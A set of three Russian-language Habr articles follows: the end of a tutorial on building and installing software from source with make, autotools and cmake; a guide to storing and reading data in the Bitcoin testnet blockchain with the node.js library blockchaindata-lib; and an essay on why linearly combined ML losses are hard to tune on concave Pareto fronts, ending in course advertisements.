CXX=c++
CXXFLAGS=
all: hello
hello: hello.cpp
<------>$(CXX) $(CXXFLAGS) -o hello hello.cpp
install: all
<------>mkdir -p $(PREFIX)/bin
<------>install hello $(PREFIX)/bin/
```
Обратите внимание, что стандартное название переменной для флагов к компилятору C++ — это CXXFLAGS, а не CPPFLAGS. CPPFLAGS же — это название переменной для флагов к препроцессору C.
**Теперь разберём, как устанавливать пакеты из сорцов (любые, программы и библиотеки).** Независимо от системы сборки. Этот алгоритм будет пригоден в том числе для тарболла, который мы создали только что. Допустим, что пакет, который нужно собрать, тоже называется hello.
Первый шаг: скачать и зайти в папку с сорцами. Тут два варианта: скачиваем из системы контроля версий (я разберу для примера git) или скачиваем тарболл.
Первый вариант. git. Делаем clone:
```
git clone <репозиторий>
```
Это создаст папку hello. Без номера версии, т. к. мы скачали из системы контроля версий. Делаем cd в созданную папку, т. е. `cd hello`.
Второй вариант. Тарболл. Скачиваем тарболл. Потом набираем команду, скажем, `tar -xf hello-1.0.tar.xz`. Это создаст папку, например, `hello-1.0`. Обычно, если создатель пакета сделал всё правильно, имя папки будет содержать номер версии. Потом делаем cd в полученную папку, например, `cd hello-1.0`.
Теперь нужно собрать. Будем считать для простоты, что мы не будем делать out of tree build (если автор пакета требует out of tree build, там обычно будут написаны инструкции, как это сделать). А значит, собирать мы будем в этой же папке, где сорцы. Т. е. в этой папке, в которую мы сейчас сделали cd.
Дальнейшие действия зависят от системы сборки, выбранной в проекте. Но независимо от системы сборки мы в процессе сборки должны будем указать prefix. Причём обычно его нужно будет указать именно на этапе сборки, а не на этапе установки, т. к. часто prefix захардкоживается внутрь бинарника. А это значит, что после установки программы в определённое место её нельзя просто так взять и передвинуть.
Я дам здесь примерные инструкции, работающие в большинстве случаев. Точные инструкции вы увидите у автора проекта, там могут быть разные нюансы.
Обязательно указывайте prefix при сборке (что бы там не писал в инструкции автор). Если вы не укажите, то будет выбран дефолтный. Обычно это /usr/local, и это достаточно хороший выбор. А если нет? Что если автор пакета указал какой-то другой дефолтный префикс? Вы установите непонятно куда. В частности libqglviewer использует в качестве дефолтного префикса /usr, что совершенно неправильно (я отправил автору баг репорт). Итак, совершенно всегда указывайте префикс. Читайте инструкции, которые автор указывает на своём сайте и прикидывайте, куда впихнуть prefix.
Итак, какие могут быть системы сборки. Во-первых, может быть просто make. Такой вариант с голым make встречается редко. Один из немногих пакетов с «голым» make — bzip ( [www.bzip.org](http://www.bzip.org) ). В случае с нашим hello-1.0.tar.xz, который мы создали, у нас именно такой вариант.
Итак, собирать в случае голого make нужно так:
```
make PREFIX=/префикс-который-вы-хотите
```
(Конкретно в случае с bzip на этапе сборки указывать PREFIX не надо. Но теоретически можно представить себе пакет, который захардкоживает PREFIX внутрь бинарника. Поэтому в общем случае PREFIX нужен.)
Следующий вариант — это autotools. В этом случае собираем так:
```
./configure --prefix=/префикс-который-вы-хотите
make
```
Следующий вариант — cmake. Собираем так (обратите внимание на точку в конце команды cmake):
```
cmake -DCMAKE_INSTALL_PREFIX=/префикс-который-вы-хотите .
make
```
Откуда точка в конце? Дело в том, что cmake'у нужно передавать путь к сорцам. А поскольку у нас не out of tree build, мы собираем здесь же. Сорцы находятся там же, где находимся мы. Поэтому точка, т. е. текущий каталог.
В случае с autotools и cmake команда, генерирующая Makefile (т. е. ./configure или cmake) записывает prefix в конфиги к make, поэтому в команде make (и в команде make install, про которую речь пойдёт далее) указывать prefix уже не нужно.
Итак, собрали одним из этих способов. Что дальше? Теперь нужно установить.
В случае голого make это делается так:
```
make PREFIX=/префикс-который-вы-хотите install
```
Нужно будет указать тот же prefix, который вы указывали при сборке.
В случае autotools и cmake так:
```
make install
```
В случае, если для записи в prefix вам нужен sudo, то вот эту команду для установки нужно будет набирать с sudo. Вообще, сборка всегда осуществляется с обычными правами, а вот установка осуществляется с теми правами, которые нужны, чтобы записать в prefix.
Окей, теперь посмотрим, что мы натворили. Допустим, что ставили мы не что-нибудь, а тот hello-1.0.tar.xz, который создавали до этого. Допустим также, что prefix, который мы указали, был /foo. Тогда в нашей системе появятся папки /foo, /foo/bin (если их не было до этого) и файл /foo/bin/hello. Что произошло? Указанная в командной строке при сборке переменная PREFIX=/foo переопределила заданную в Makefile PREFIX=/usr/local. В результате указанные в Makefile команды mkdir -p и install стали такими:
```
mkdir -p /foo/bin
install hello /foo/bin/
```
В результате бинарник положился в /foo/bin.
**Теперь хочу ещё немного поговорить про префиксы.** Какие префиксы вообще есть?
Префикс /. Вряд ли когда-нибудь вам придётся его выбирать. Он используется для программ, критичных для ранних стадий загрузки ОС (т. е. критичные элементы для загрузки находятся в /bin, /lib и т. д.) (впрочем, даже если вам нужно установить программу в /, её сперва устанавливают в /usr, т. е. собирают и устанавливают с префиксом /usr, а потом перемещают необходимое в / [т. е. перемещают из /usr/bin в /bin, скажем], во всяком случае именно так поступают авторы Linux From Scratch 7.10 с пакетом, скажем, bash).
Префикс /usr. Стандартный префикс, используемый обычно для программ, установленных через менеджер пакетов. То есть если вы установили программу через менеджер пакетов, она ведёт себя так, словно она собрана и установлена на вашей системе с префиксом /usr. Самому устанавливать пакеты с префиксом /usr нельзя.
Префикс /usr/local. Отличный префикс для установки туда программ самостоятельно. Хорош тем, что /usr/local/bin есть в дефолтном PATH (во всяком случае в дебиане). То есть сразу после установки программы вы сможете просто запускать программу по названию. Потому что бинарник лежит в /usr/local/bin, а /usr/local/bin есть в PATH. Плох тем, что там все программы лежат смешанно. Вот допустим, вы установили библиотеку foo, а потом библиотеку bar. Обе в этот prefix. Тогда дерево может выглядеть так (в совсем упрощённом виде):
```
/usr/local/include/foo.h
/usr/local/include/bar.h
/usr/local/lib/libfoo.so
/usr/local/lib/libbar.so
```
Видите? Всё смешано. Нет единой папки, которая бы содержала «всё, связанное с foo» и другой папки, которая бы содержала «всё, связанное с bar». (Хотя это ваше дело, считать, что это действительно плохо или нет). Понятное дело, что такая же проблема присутствует при любой установке разных пакетов в один префикс. То есть префикс /usr страдает от того же: пакеты «размазаны» по системе (здесь уже речь идёт о пакетах, поставленных через менеджер пакетов, т. е. тех, которые, собственно, составляют систему). Собственно, это и есть одно из бросающихся отличий большинства UNIX-подобных систем от Windows. В Windows каждая программа находится в своей папке в Program Files. В большинстве UNIX-подобных систем она «размазана» по системе. (**UPD** от 2017-02-09: в Windows программы на самом деле тоже «размазаны», скажем, по реестру, просто это не так бросается в глаза.) Существуют дистибутивы GNU/Linux, «решающие» эту проблему, например, GoboLinux. Там каждый пакет в своём каталоге, как в Windows.
Префиксы вида /opt/XXX. Папку /opt предполагается использовать следующим образом: в ней нужно создавать подкаталоги, называть их названиями пакетов и использовать эти подкаталоги как префиксы. При таком подходе указанная выше проблема /usr/local (если считать её проблемой) исчезает. Каждый пакет будет установлен в свой каталог. Приведённый выше пример с foo и bar будет выглядеть так (я бы посоветовал в названии подкаталогов в /opt указывать ещё и номер версии):
```
/opt/foo-1.0/include/foo.h
/opt/foo-1.0/lib/libfoo.so
/opt/bar-2.0/include/bar.h
/opt/bar-2.0/lib/libbar.so
```
Недостаток у такого решения тоже есть. Вам придётся самому добавлять все эти бесчисленные каталоги /opt/foo-1.0/bin (для каждого пакета) в PATH.
Префиксы, соответствующие домашним каталогам. Т. е., скажем, /home/user. Советую в случае, когда хочется поставить «только для себя», т. е. только для одного юзера. Или когда нет прав root. Возможно, ваши конфиги, поставляемые с ОС уже настроены таким образом, чтобы помещать ~/bin в PATH при условии, что такой каталог есть. Так что PATH будет настроен как надо.
Каждый префикс может содержать в себе свои bin, sbin, lib, include и т. д.
Итак, что из этого выбрать? Если нужно поставить на всей системе, то я бы посоветовал /opt/XXX. Я сам так обычно ставлю.
**Теперь о сборке, установке библиотеки и её использовании.** Собирается и ставится библиотека так же, как и любой другой пакет, я это уже рассказывал выше. Так что перейдём сразу к использованию. Вот мы установили библиотеку в некий префикс, допустим, /foo. Теперь в /foo/include появились хедеры этой библиотеки, а в /foo/lib — бинарные файлы библиотеки (.so — динамическая библиотека, либо .a — статическая, либо и то, и то).
Допустим, нужно собрать некий файл a.c с этой библиотекой. Как это сделать?
Во-первых, вверху файла нужно написать #include, соответствующий подключаему хедеру. Ну а собирать нужно так:
```
cc -c -I/foo/include a.c
cc -L/foo/lib -o a a.o -lfoo
```
Давайте разбираться. Для начала скажу, что I (большая английская и) и l (маленькая английская эль) — это две разные буквы. Не перепутайте их в приведённых командах.
Первая команда производит компиляцию, то есть создаёт a.o на основе a.c. Вторая — линковку, то есть окончательный бинарник на основании a.o.
В первой команде мы указали -I/foo/include. Это указание той папки, где нужно искать хедеры. Путь из этой опции соединится с файлом, указанным в #include. То есть если в командной строке указано -I/foo/include, а в файле написано #include , то получится /foo/include/foo.h, он-то и будет заинклуден.
Здесь опция -I/foo/include не осуществляет сама инклудивание. Она лишь указывает папку, где нужно искать, поэтому нужен ещё и #include. То есть нужен и -I/foo/include, и #include, одного из них недостаточно.
Линковка. -L/foo/lib — это указание папки, где нужно искать бинарные файлы библиотеки, т. е. файлы .so и .a. -lfoo — это указание на то, что нужно, собственно, прилинковать эту библиотеку к результирующему бинарнику. Имя библиотеки, указанное в опции -lfoo, соединится с папкой, указанной в -L/foo/lib и получится /foo/lib/libfoo (в начало названия файла вставляется слово «lib»), затем сюда прибавится .so (или .a) и опционально номер версии и получится /foo/lib/libfoo.so или, скажем, /foo/lib/libfoo.so.1. Это и будет тем именем .so-файла, который будет искаться.
Так же, как и при компиляции (a.o из a.c), нужны обе опции -L/foo/lib и -lfoo. -L/foo/lib указывает, где искать. А -lfoo даёт окончательную команду на прилинковку.
Вместо -lfoo можно прямо написать целиком путь до файла библиотеки, который нужно слинковать, например, /foo/lib/libfoo.so.1. Тогда опция -L/foo/lib не нужна. Получится так:
```
cc -o a a.o /foo/lib/libfoo.so.1
```
Библиотеку (будь то полный путь к библиотеке или опция вида -lfoo) нужно указывать после «своих» объектных файлов, в данном случае a.o. (Может, и не нужно, но на всякий случай лучше так делать.)
Можно соединить две наши команды в одну, тогда будет что-то такое:
```
cc -I/foo/include -L/foo/lib -o a a.c -lfoo
```
В случае, если библиотека установлена с префиксом /usr (то есть просто установлена через менеджер пакетов), то опции -I и -L не нужны, считайте, что -I/usr/include и -L/usr/lib у вас как бы уже есть. То же, возможно, относится к /usr/local.
Если существует некая библиотека под названием foo, то она обычно запаковывается для дебиан в пакеты с названиями libfoo (или libfoo1, libfoo2) и libfoo-dev. libfoo содержит файлы .so, а libfoo-dev — хедеры. То есть хитрые разработчики дебиан умеют из одного пакета сделать несколько. На сборочных машинах дебиана пакет собирается и расфасовывается в несколько пакетов.
Если вы установите у себя на машине libfoo и libfoo-dev, то результат будет как если бы вы сами собрали пакет foo из исходных кодов с префиксом /usr. У вас на системе будут, скажем, файлы:
```
/usr/include/foo.h (из пакета libfoo-dev)
/usr/lib/libfoo.so.1 (из пакета libfoo)
```
Напомню, что список файлов в данном пакете можно посмотреть по команде, скажем, `dpkg -L libfoo`. Ну а найти пакет по файлу с помощью `dpkg -S /usr/include/foo.h`.
|
https://habr.com/ru/post/321468/
| null |
ru
| null |
# Запись и чтение данных в блокчейне биткоина
Записать в блокчейн биткоина можно не только финансовые операции, но и практически любые данные. Записанные в блокчейн биткоина данные становятся общедоступными и их практически невозможно удалить или изменить. Эту особенность можно использовать например для создания децентрализованных сайтов, которые не поддаются никакой блокировке.
С помощью библиотеки blockchaindata-lib запись и чтение данных в блокчейне можно организовать буквально в несколько строк кода.
Инструменты
-----------
Библиотека blockchaindata-lib написана на node.js. Исходный код с примерами доступен на гитхаб [github.com/3s3s/blockchaindata-lib](https://github.com/3s3s/blockchaindata-lib). Чтобы добавить библиотеку в ваш проект, достаточно выполнить в консоли одну команду
```
npm install blockchaindata-lib
```
Для работы с блокчейном, необходимо настроить RPC доступ к кошельку биткоина или совместимого с биткоином форка (Litecoin, Dogecoin и т.п.). По умолчанию blockchaindata-lib будет пытаться обращаться к серверу RPC по следующим реквизитам:
```
адрес: http://127.0.0.1:18332
пользователь: rpc_btc_test
пароль: rpc_btc_password_test
```
Умолчания можно изменить библиотечной функцией
```
updateNetwork(url, user, password)
```
Таким образом, чтобы работать с библиотекой, первым делом нужно запустить тестовый кошелек биткоина:
1. Скачать кошелек биткоина (или совместимого форка.)
2. Создать файл ~/.bitcoin/bitcoin.conf (или в windows %APPDATA%/Bitcoin/bitcoin.conf)
3. В файле bitcoin.conf записать следующие настройки
```
testnet=1
server=1
rpcbind=127.0.0.1
rpcallowip=127.0.0.1
rpcuser=rpc_btc_test
rpcpassword=rpc_btc_password_test
txindex=1
```
4. Сохранить изменения в bitcoin.conf и запустить bitcoind (или в windows bitcoin-qt.exe)
5. Дождаться синхронизации блокчейна
С указанными выше настройками, кошелек запустится в тестовой сети биткоина.
Запись данных
-------------
В биткоине запрещены транзакции в которых нет никаких трат. Поэтому перед тем, как что-то записать в блокчейн биткоина, обязательно придется пополнить свой кошелек. Биткоины для тестовой сети можно получить бесплатно, если поискать в гугле что-то вроде «bitcoin testnet faucet». Когда кошелек пополнен, можно наконец записывать данные.
Библиотека имеет несколько функций для записи данных:
```
SaveTextToBlockchain( dataString )
SaveJSONToBlockchain( objectJSON )
SaveFileToBlockchain( data )
```
В принципе, что эти функции делают — понятно из названия. Результат выполнения функций — объект
```
{result: , message: , txid: }
```
Рассмотрим пример использования:
```
'use strict';
const blockchaindata = require('blockchaindata-lib')
async function test1()
{
try {
//Сохраняем текст в блокчейне
const ret1 = await blockchaindata.SaveTextToBlockchain("Этот текст будет сохранен в блокчейне");
if (ret1.result == false) throw new Error("SaveTextToBlockchain failed, message: "+ret1.message);
console.log("SaveTextToBlockchain success! txid="+ret1.txid+"\n--------------------------")
}
catch (e) {
console.log(e.message)
}
}
test1();
```
Если этот код выполнится без ошибок, то в консоль будет выведен хэш транзакции. По этому хэшу можно будет прочитать данные.
Чтение данных
-------------
Для того, чтобы читать записанные ранее в блокчейн данные, вам необходимо знать только хэш транзакции. Кошелек при этом может быть пустой, то есть если хотите только читать данные, то пополнять кошелек не обязательно.
Пример кода
```
'use strict';
const blockchaindata = require('blockchaindata-lib');
async function test2()
{
//Читаем данные из блокчейна
try {
const savedObject = await blockchaindata.GetObjectFromBlockchain("8af6633160b982a0b0b4d4962ad28e0d5b3dd97e05e27cc2dd64ec0c56820df5");
if (savedObject.type == 'error') throw new Error(savedObject.message)
if (savedObject.type == 'text')
console.log(Buffer.from(savedObject.base64, 'base64').toString('utf8'));
else
console.log(savedObject.base64);
}
catch(e) {
console.log(e.message)
}
}
test2();
```
Если этот код сработает без ошибок, то в консоль будет выдан текст html страницы, которую я ранее уже сохранил в блокчейне.
Где применить?
--------------
В блокчейне можно например сохранить статический сайт. Этот сайт практически невозможно будет удалить или каким-то образом заблокировать. Однако чтобы читать такой сайт, нужен будет дополнительный софт: новый браузер или расширение для браузера.
Расширение для браузера это самое простое решение. Пример такого расширения можно посмотреть здесь [github.com/3s3s/blockchaindata](https://github.com/3s3s/blockchaindata)
Скачать и установить это расширение для Firefox можно здесь: [yadi.sk/d/a3xM9BCepP4nBw](https://yadi.sk/d/a3xM9BCepP4nBw)
После установки Firefox будет перехватывать и обрабатывать ссылки на сайты в формате
```
http://tbtc/
```
Например такая ссылка будет работать <http://tbtc/8af6633160b982a0b0b4d4962ad28e0d5b3dd97e05e27cc2dd64ec0c56820df5>
Эффективность
-------------
Библиотека blockchaindata-lib сжимает данные перед помещением их в блокчейн с помощью алгоритма deflate, поэтому данный метод особенно эффективен для записи текстовых документов. В ходе тестирования мне удавалось записать в блокчейн до 70 кб сжатых данных. Хотя ограничений на размер входящих данных нет, ошибки на больших массивах данных появляются из-за внутренней реализации кода биткоина.
При записи данных в блокчейн, нужно так же учитывать финансовую составляющую. Чтение и запись данных в тестовой сети биткоина с помощью библиотеки blockchaindata-lib это просто и бесплатно. Однако если вы захотите писать данные в рабочую сеть биткоина, то вам нужно будет учесть ненулевую цену биткоина.
|
https://habr.com/ru/post/470884/
| null |
ru
| null |
# Почему алгоритмы ML так трудно настраивать?
[](https://habr.com/ru/company/skillfactory/blog//)
В машинном обучении линейные комбинации функций потерь встречаются повсюду. На самом деле, они обычно используются в качестве стандартного подхода, несмотря на то, что это опасная область, полная подводных камней. Особенно в отношении того, как линейные комбинации затрудняют настройку алгоритма.
Возможно, вы уже знаете всё, что мы хотим сказать. Однако у нас сложилось впечатление, что в большинстве учебных программ по машинному обучению не очень хорошо обсуждаются методы оптимизации и, следовательно, градиентный спуск рассматривается как единственный метод решения всех проблем. И главный посыл состоит в том, что, если алгоритм не работает для вашей проблемы, вам нужно потратить больше времени на настройку гиперпараметров. Поэтому мы надеемся, что эта статья поможет устранить некоторую путаницу в том, как решить проблему фундаментальным и принципиальным способом. И, может быть, это поможет вам тратить меньше времени на настройку алгоритмов и больше времени на исследование.
---
В этом посте мы надеемся изложить следующие аргументы:
* Многие проблемы в машинном обучении следует рассматривать как многоцелевые, а в настоящее время это не так.
* Отсутствие многоцелевого подхода приводит к трудностям настройки гиперпараметров для алгоритмов машинного обучения.
* Практически невозможно обнаружить, когда возникают проблемы, поэтому их сложно обойти.
* Есть методы решения этой проблемы, которые могут быть немного сложными, но не требуют большего, чем несколько строк кода.
### Линейные комбинации потерь повсюду
В то время как существуют проблемы с одной целью, эти цели обычно получают дополнительную регуляризацию. Мы выбрали несколько таких целей оптимизации со всей области машинного обучения.
Во-первых, у нас есть регуляризаторы, снижение веса и LASSO. Очевидно, что когда вы добавляете эти регуляризации, вы фактически создаёте многоцелевую потерю для вашей проблемы. В конце концов, что вас действительно волнует, так это то, как исходные потери L0 и регуляризованные потери остаются низкими. И вы настроите баланс между ними с помощью параметра λ.
Как следствие, потери, обнаруженные, например, в VAE, фактически являются многоцелевыми, причём первая цель состоит в том, чтобы максимально охватить данные, а вторая – оставаться близким к предыдущему распределению. В этом случае иногда для введения настраиваемого параметра β используется подход KL anneling, чтобы помочь справиться с многоцелевым характером этой потери.
Кроме того, вы можете увидеть такое множество целей в обучении с подкреплением. Мало того, что во многих средах принято просто суммировать очки, полученные за достижение частичных целей. Функции потерь обычно также представляют собой линейную комбинацию потерь. Возьмём в качестве примера потери в PPO, SAC и MPO, энтропийно регуляризованных методов с их перестраиваемым параметром **α**.
Наконец, GAN-потери – сумма между дискриминатором и потерями генератора:
Все эти потери имеют что-то общее, они эффективно пытаются оптимизировать для нескольких целей одновременно и утверждают, что оптимум находится в уравновешивании этих часто противоречащих сил. В некоторых случаях сумма является более подходящими конкретному случаю, и для взвешивания частей друг против друга вводится гиперпараметр. В некоторых случаях существуют чёткие теоретические основы того, почему потери объединяются таким образом, и никакой гиперпараметр не используется для настройки баланса между частями.
В этой статье мы надеемся показать вам, что такой подход к объединению потерь может показаться привлекательным, но эта линейная комбинация на самом деле ненадёжна и коварна. Балансировка часто похожа на хождение по канату.
Наш маленький пример
--------------------
Рассмотрим простой случай, когда мы пытаемся оптимизировать такую линейную комбинацию потерь. Мы используем подход оптимизации общих потерь, который представляет собой сумму потерь. Мы оптимизируем комбинацию с помощью градиентного спуска и наблюдаем следующее поведение.
Наш код в Jax будет выглядеть примерно так:
```
def loss(θ):
return loss_1(θ) + loss_2(θ)
loss_derivative = grad(loss)
for gradient_step in range(200):
gradient = loss_derivative(θ)
θ = θ - 0.02 * gradient
```
Как это обычно бывает, мы не обрадовались компромиссу между двумя потерями сразу. Поэтому ввели масштабирующий коэффициент **α** для второй потери и запускаем следующий код:
```
def loss(θ, α):
return loss_1(θ) + α*loss_2(θ)
loss_derivative = grad(loss)
for gradient_step in range(200):
gradient = loss_derivative(θ, α=0.5)
θ = θ - 0.02 * gradient
```
Поведение, которое мы надеемся увидеть, заключается в том, что при настройке этого **α** мы можем выбрать компромисс между двумя потерями и выбрать точку, которая нас больше всего устраивает для нашего приложения. Мы фактически перейдём к циклу настройки гиперпараметров, вручную выберем **α**, запустим процесс оптимизации, решим, что мы хотели бы, чтобы вторая потеря была ниже, соответственно настроим наш **α** и повторим весь процесс оптимизации. После нескольких итераций мы останавливаемся на найденном решении и продолжаем писать статьи.
Однако это происходит не всегда. Фактическое поведение, которое мы иногда наблюдаем для нашей проблемы, выглядит следующим образом.
### Похоже, что независимо от того, как мы точно настроим наш α-параметр, мы не сможем найти хороший компромисс между нашими двумя потерями
Мы видим два кластера решений: один, где игнорируется первая потеря, и другой, где игнорируется вторая потеря. Однако оба эти решения не полезны для большинства приложений. В большинстве случаев более предпочтительным решением является точка, в которой две потери были более сбалансированы.
На самом деле, эта диаграмма двух потерь в ходе обучения почти никогда не строится, поэтому динамика, показанная на этом рисунке, часто остаётся незамеченной. Мы просто смотрим на кривую обучения, изображающую общую потерю, и можем сделать вывод, что этот гиперпараметр нуждается в дополнительной настройке времени, поскольку он кажется по-настоящему чувствительным. В качестве альтернативы мы могли бы согласиться на подход ранней остановки обучения, чтобы цифры в документах работали. В конце концов, рецензенты любят эффективность данных.
Но где же всё пошло не так? **Почему этот метод то работает, то не даёт вам настраиваемый параметр**? Для этого нам нужно глубже изучить разницу между этими двумя фигурами.
Обе цифры генерируются для одной и той же задачи, используя одни и те же потери, и оптимизируют эти потери с помощью одного и того же метода оптимизации. Так что ни один из этих аспектов не виноват в разнице. То, что изменилось между этими проблемами, – это модель. Другими словами, влияние параметров модели **θ** на результат модели различен.
Поэтому давайте создадим и визуализируем то, что обычно не визуализируется, фронт Парето для обеих наших оптимизаций. Это совокупность всех решений, достижимых нашей моделью, в которой не доминирует ни одно, ни другое решение. Другими словами, это набор достижимых потерь, где нет такой точки, в которой все потери лучше. Независимо от того, как вы выбираете компромисс между двумя потерями, предпочтительное решение всегда лежит на фронте Парето. Настраивая гиперпараметр вашей потери, вы обычно надеетесь просто найти другую точку на том же фронте.
Разница между двумя фронтами Парето – это то, что заставляет настройку хорошо работать в первом случае и ужасно ошибаться после изменения нашей модели. Оказывается, когда фронт Парето выпуклый, мы можем достичь всех возможных компромиссов, настроив наш **α**-параметр. Однако, когда фронт Парето вогнут, этот подход не работает хорошо.
### Почему не удаётся оптимизировать градиентный спуск для вогнутых фронтов Парето?
Мы можем проиллюстрировать, почему это так, посмотрев на общую потерю в третьем измерении, потерю, которая фактически оптимизируется с помощью градиентного спуска. На следующем рисунке мы визуализируем плоскость полной потери по отношению к каждой из потерь. В то время как мы фактически спускаемся на эту плоскость, используя градиент относительно параметров, каждый шаг градиентного спуска, который мы делаем, также обязательно будет идти вниз на этой плоскости. Вы можете представить себе процесс оптимизации градиентного спуска как установку сферического камешка на эту плоскость, позволяя ему колебаться под действием силы тяжести, и ждать, пока он не остановится.
Точки, где процесс оптимизации останавливается, являются результатом процесса оптимизации, обозначенного здесь звёздочкой. Как вы можете видеть на следующем рисунке, независимо от того, как вы раскачиваетесь по плоскости, вы всегда будете в оптимальном положении.
Настраивая **α**, это пространство остаётся плоскостью. Ведь, изменяя **α**, мы меняем только наклон этой плоскости. Как видите, в выпуклом случае любое решение на кривой Парето может быть достигнуто настройкой **α**. Чуть больше **α** тянет звезду влево, чуть меньше **α** толкает звезду вправо. Каждая начальная точка процесса оптимизации будет сходиться к одному и тому же решению, и это верно для всех значений **α**.
Однако, если мы посмотрим на проблему с вогнутым фронтом Парето, смоделированную по-другому, станет очевидно, откуда взялась наша проблема.
Если мы представим себе, что наш камешек следует градиентам на этой плоскости: иногда он катится больше влево, иногда больше вправо, но всегда катится вниз. Тогда ясно, что он окажется в одной из двух угловых точек – либо красной, либо синей. Когда мы настраиваем **α**, наша плоскость наклоняется точно так же, как и в выпуклом случае, но из-за формы фронта Парето только две точки на этом фронте будут когда-либо достигнуты, а именно точки на концах вогнутой кривой. Точка × на кривой, которую вы действительно хотели бы достичь, не может быть найдена с помощью методов, основанных на градиентном спуске. Почему? Потому что это седловая точка.
Также важно отметить, что происходит, когда мы настраиваем **α**. Мы можем наблюдать, что мы настраиваем, сколько из исходных точек в конечном счёте в одном решении против другого, но мы не можем настраивать так, чтобы найти другие решения на фронте Парето.
### Какие проблемы вызывают эти линейные комбинации?
В заключение этой статьи мы хотели бы перечислить проблемы, связанные с использованием этого подхода с линейной комбинацией потерь:
* Во-первых, даже если вы не вводите гиперпараметр для взвешивания между потерями, неправильно говорить, что градиентный спуск будет пытаться сбалансировать противодействующие силы. В зависимости от решений, достижимых с помощью вашей модели, она вполне может полностью игнорировать одну из потерь, чтобы сосредоточиться на другой, или, наоборот, в зависимости от того, где вы инициализировали модель.
* Во-вторых, даже когда вводится гиперпараметр, он настраивается методом проб и ошибок. Вы запускаете полный процесс оптимизации, решаете, довольны ли вы, а затем настраиваете свой гиперпараметр. Вы повторяете этот цикл оптимизации, пока не будете довольны производительностью. Это расточительный и трудоёмкий подход, обычно включающий несколько итераций бегового градиентного спуска.
* В-третьих, гиперпараметр не может настраиваться на все оптимумы. Независимо от того, насколько хорошо вы настраиваете гиперпараметры, вы не найдёте промежуточных решений, которые могут вас заинтересовать. Не потому, что они не существуют, а они наверняка существуют, а потому, что был выбран плохой подход для объединения этих потерь.
* В-четвёртых, важно подчеркнуть, что для практических приложений всегда неизвестно, является ли фронт Парето выпуклым и, следовательно, можно ли настраивать эти веса потерь. Являются ли они хорошими гиперпараметрами, зависит от того, как параметризована ваша модель и как это влияет на кривую Парето. Однако визуализировать или анализировать кривую Парето для какого-либо практического применения невозможно. Визуализировать это значительно сложнее, чем нашу первоначальную задачу оптимизации. Так что, если возникнет проблема, она останется незамеченной.
* Наконец, если вы действительно хотите использовать эти линейные веса для поиска компромиссов, вам нужно явное доказательство того, что вся кривая Парето является выпуклой для конкретной используемой модели. Поэтому использования выпуклых потерь по сравнению с выходными данными вашей модели недостаточно, чтобы избежать проблемы. Если ваше пространство параметризации велико, что всегда имеет место, если ваша оптимизация включает веса внутри нейронной сети, вы можете забыть о попытках такого доказательства. Важно подчеркнуть, что демонстрации выпуклости кривой Парето для этих потерь на основе некоторых промежуточных скрытых значений недостаточно, чтобы показать, что у вас есть настраиваемый параметр. Выпуклость действительно должна зависеть от пространства параметров и от того, как выглядит фронт Парето достижимых решений.
### Обратите внимание, что в большинстве задач фронты Парето не являются ни выпуклыми, ни вогнутыми, а представляют собой сочетание того и другого. Это усугубляет проблему
Возьмём, к примеру, фронт Парето, где между выпуклыми частями находятся вогнутые части. Каждая вогнутая часть не только гарантирует, что ни одно из её решений не может быть найдено с помощью градиентного спуска, но также разделит пространство инициализации параметров на две части: одна будет находить решения на выпуклой части с одной стороны, а другая – находить решения только с другой. Наличие более чем одной вогнутой части на фронте Парето усугубляет проблему, как показано на рисунке ниже.
Таким образом, у нас есть не только гиперпараметр **α**, который не может найти все решения, в зависимости от инициализации он может найти другую выпуклую часть кривой Парето. Чтобы ещё больше усложнить работу, этот параметр и инициализация смешиваются друг с другом запутанным образом. Если вы слегка настроите свой параметр в надежде немного сместить оптимум, вы можете внезапно перейти к другой выпуклой части фронта Парето, даже если сохраните такую же инициализацию.
Все эти проблемы не обязательно должны иметь место. Есть отличные способы решения этой проблемы, способы, которые могут облегчить нашу жизнь, заставив наши оптимизации выдавать лучшие решения даже с первой попытки.
[Узнайте подробности](https://skillfactory.ru/courses/?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_ALLCOURSES&utm_term=regular&utm_content=200221), как получить Level Up по навыкам и зарплате или востребованную профессию с нуля, пройдя онлайн-курсы SkillFactory со скидкой 40% и промокодом **HABR**, который даст еще +10% скидки на обучение:
* [Профессия Data Scientist](https://skillfactory.ru/dstpro?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_DSPR&utm_term=regular&utm_content=200221)
* [Профессия Data Analyst](https://skillfactory.ru/dataanalystpro?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_DAPR&utm_term=regular&utm_content=200221)
* [Курс по Data Engineering](https://skillfactory.ru/dataengineer?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_DEA&utm_term=regular&utm_content=200221)
* **Другие профессии и курсы**
**ПРОФЕССИИ**
+ [Профессия Java-разработчик](https://skillfactory.ru/java?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_JAVA&utm_term=regular&utm_content=200221)
+ [Профессия QA-инженер на JAVA](https://skillfactory.ru/java-qa-engineer?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_QAJA&utm_term=regular&utm_content=200221)
+ [Профессия Frontend-разработчик](https://skillfactory.ru/frontend?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_FR&utm_term=regular&utm_content=200221)
+ [Профессия Этичный хакер](https://skillfactory.ru/cybersecurity?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_HACKER&utm_term=regular&utm_content=200221)
+ [Профессия C++ разработчик](https://skillfactory.ru/cplus?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_CPLUS&utm_term=regular&utm_content=200221)
+ [Профессия Разработчик игр на Unity](https://skillfactory.ru/game-dev?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_GAMEDEV&utm_term=regular&utm_content=200221)
+ [Профессия Веб-разработчик](https://skillfactory.ru/webdev?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_WEBDEV&utm_term=regular&utm_content=200221)
+ [Профессия iOS-разработчик с нуля](https://skillfactory.ru/iosdev?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_IOSDEV&utm_term=regular&utm_content=200221)
+ [Профессия Android-разработчик с нуля](https://skillfactory.ru/android?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_ANDR&utm_term=regular&utm_content=200221)
---
**КУРСЫ**
+ [Курс по Machine Learning](https://skillfactory.ru/ml-programma-machine-learning-online?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_ML&utm_term=regular&utm_content=200221)
